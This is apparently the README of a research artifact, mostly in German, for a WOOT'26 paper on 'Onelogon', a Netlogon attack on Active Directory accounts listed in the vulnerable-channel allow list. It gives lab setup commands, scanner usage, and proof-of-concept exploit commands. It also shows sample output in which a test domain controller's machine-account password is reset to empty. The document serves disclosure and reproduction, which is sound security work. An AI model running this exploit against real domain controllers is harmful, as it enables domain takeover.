
Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).
Dieses Repository enthält Code und Daten zu unserem Paper Onelogon: Taking over Active Directory Accounts via Netlogon (WOOT'26).
Die in unserem Paper beschriebene Schwachstelle greift eine Schwäche des kryptografischen Patches von 2020 für die Zerologon-Schwachstelle an. Konten, die in einer Gruppenrichtlinie aufgeführt sind, die Unterstützung für Legacy-Setups ermöglichen soll, die keine Netlogon-Signierung und -Versiegelung unterstützen, sind gegenüber diesem Angriff verwundbar. Eine detaillierte Beschreibung der Schwachstelle, der erwarteten vollständigen Angriffskette sowie möglicher Gegenmaßnahmen finden Sie im Paper.
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
Das Artefakt besteht aus einem Python-poetry-Projekt für den Scanner und die Exploits.
Um die mit dem Artefakt bereitgestellten Skripte auszuführen, installieren Sie Python (3.12 oder neuer) sowie entweder poetry (Anleitung) oder uv (Anleitung). Der Einfachheit halber geben wir die Befehle in der Annahme an, dass Sie poetry verwenden; falls Sie sich für uv entscheiden, ersetzen Sie einfach jede Erwähnung von poetry durch uv.
Alle Befehle in diesem Dokument sollten im Stammverzeichnis des Artefakts ausgeführt werden (dort, wo sich diese README befindet).
Wenn Sie poetry verwenden, führen Sie poetry install aus, um alle Abhängigkeiten zu installieren.
Um die Ergebnisse des Papers zu reproduzieren, können Sie einen Domänencontroller mit einer Version von Windows Server einrichten, in der Zerologon behoben ist (wir haben den Exploit sowohl gegen die 2019er- als auch gegen die 2025er-Version verifiziert).
Um den Domänencontroller auf einer neuen Installation von Windows Server 2025 einzurichten, führen Sie die folgenden Befehle aus:
# System aktualisieren und Computer in "DC" umbenennen
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Domäne einrichten (als "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Ablauf des Administrator-Kennworts deaktivieren, um die VM nutzbar zu halten
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
Die Schwachstelle betrifft jedes Konto, das in der DACL des Gruppenrichtlinienobjekts Domain Controller: Allow vulnerable Netlogon secure channel connections oder im entsprechenden Registrierungsschlüssel aufgeführt ist:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
Sie können diese Parameter manuell auf dem Domänencontroller konfigurieren (denken Sie daran, gpupdate /force auszuführen, wenn Sie den GPO-Eintrag ändern), oder den folgenden Befehl ausführen, um alle Konten zur DACL im Registrierungsschlüssel hinzuzufügen:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
Um zu ermitteln, welche Konten ein Domänencontroller in seiner VulnerableChannelAllowList führt, stellen wir einen Scanner bereit, der die Registrierungsstruktur und die GPO-Volumenfreigabe des Domänencontrollers analysiert.
Beachten Sie, dass der Zugriff auf die Registrierung für diesen Scan Domänenadministrator-Rechte erfordert (der Exploit selbstverständlich nicht).
# Mit dem angegebenen Benutzernamen und Kennwort den Ziel-DC scannen.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Mit `--help` erhalten Sie weitere Verwendungshinweise.
poetry run scan --help
Ein positives Scan-Ergebnis (es gibt verwundbare Konten auf dem Domänencontroller) zeigt den Sicherheitsdeskriptor mit den verwundbaren Konten (in Microsofts Security Descriptor Definition Language):
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
Ein negatives Ergebnis (der Ziel-DC ist nicht verwundbar) sieht stattdessen wie folgt aus:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
Um den Proof-of-Concept-Exploit gegen einen Ziel-Domänencontroller auszuführen, wählen Sie zunächst ein verwundbares Konto aus. Sie benötigen die IP-Adresse des Domänencontrollers, seinen Hostnamen und den Namen des verwundbaren Kontos.
In unserer Beispielkonfiguration heißt der verwundbare Domänencontroller DC.
Sein Computerkonto (DC$) ist in der GPO-Richtlinie enthalten und daher gegenüber Onelogon verwundbar.
# Den Meet-in-the-Middle-Angriff ausführen (Abschnitt 4.5 des Papers)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Die 24-Bit-Brute-Force mit einem Computerkonto ausführen (Abschnitt 4.4 des Papers)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Die (langsame) 32-Bit-Brute-Force mit einem Computerkonto ausführen
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Die (sehr langsame) 32-Bit-Brute-Force ohne Computerkonto ausführen
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
Zur Veranschaulichung zeigen wir die Ausgabe eines erfolgreichen Laufs des Meet-in-the-Middle-Angriffs gegen eine Testumgebung:
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111)
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup
[*] Estimated total tries without flushing: 2^16 / 2
[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ: Took 5.0858272750047036 seconds,
average time per attempt: 0.00286042028965393909 seconds
[*] TRY: Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL: Took 125.08606619200145 seconds,
average time per attempt: 0.07035211821822354161 seconds
[*]
[*] TOTAL STATS:
[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES: 5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.
Um die Messungen in Tabelle 1 des Papers zu reproduzieren, führen Sie alle vier im vorherigen Abschnitt beschriebenen Exploits aus.
Sie können die erwartete Angriffszeit ermitteln, ohne den vollständigen Angriff abzuschließen, was bei den naiven Ansätzen unerschwinglich teuer wäre.
Die Geschwindigkeit der 32-Bit-Brute-Force, die auf das Timeout wartet, wird durch die Gültigkeitsdauer der Client-Challenges begrenzt. Ein vollständiger Zyklus (in dem 100.000 Challenges verarbeitet werden können) dauert dann 120 s (das Timeout, bis die Challenge-Liste geleert wird). Die erwartete Angriffszeit beträgt daher immer $\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$.
Für Angriffe mit einem Computerkonto (sowohl der 32-Bit- als auch der 24-Bit-Angriff) nehmen Sie die durchschnittliche Zeit pro Versuch $t$ aus dem Abschnitt TOTAL STATS der Ausgabe. Der 32-Bit-Angriff benötigt im Durchschnitt $2^{31}$ Versuche (für eine erwartete Gesamtzeit von $2^{31}t$). Ebenso beträgt die erwartete Dauer des 24-Bit-Angriffs $2^{23}t$.
Beim Meet-in-the-Middle-Ansatz können wir nicht alle möglichen Client-Anmeldeinformationen innerhalb der 120-Sekunden-Challenge-Ablaufzeit versuchen.
Stattdessen wird die erwartete Zeit für den Angriff dadurch bestimmt, wie viele Authentifizierungsversuche wir innerhalb dieses Zeitfensters durchführen können.
Um diesen Wert zu erhalten, nehmen Sie die durchschnittliche Anzahl von Versuchen pro Zyklus $a$ aus dem Abschnitt TOTAL STATS der Ausgabe.
Da wir im Durchschnitt $2^{15}$ Authentifizierungsversuche benötigen, um eine Erfolgsrate von 50 % zu erzielen, beträgt die erwartete Angriffszeit einfach $2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$
Die genauen erzielten Zeiten hängen von der jeweiligen Hardware- und Softwarekonfiguration ab.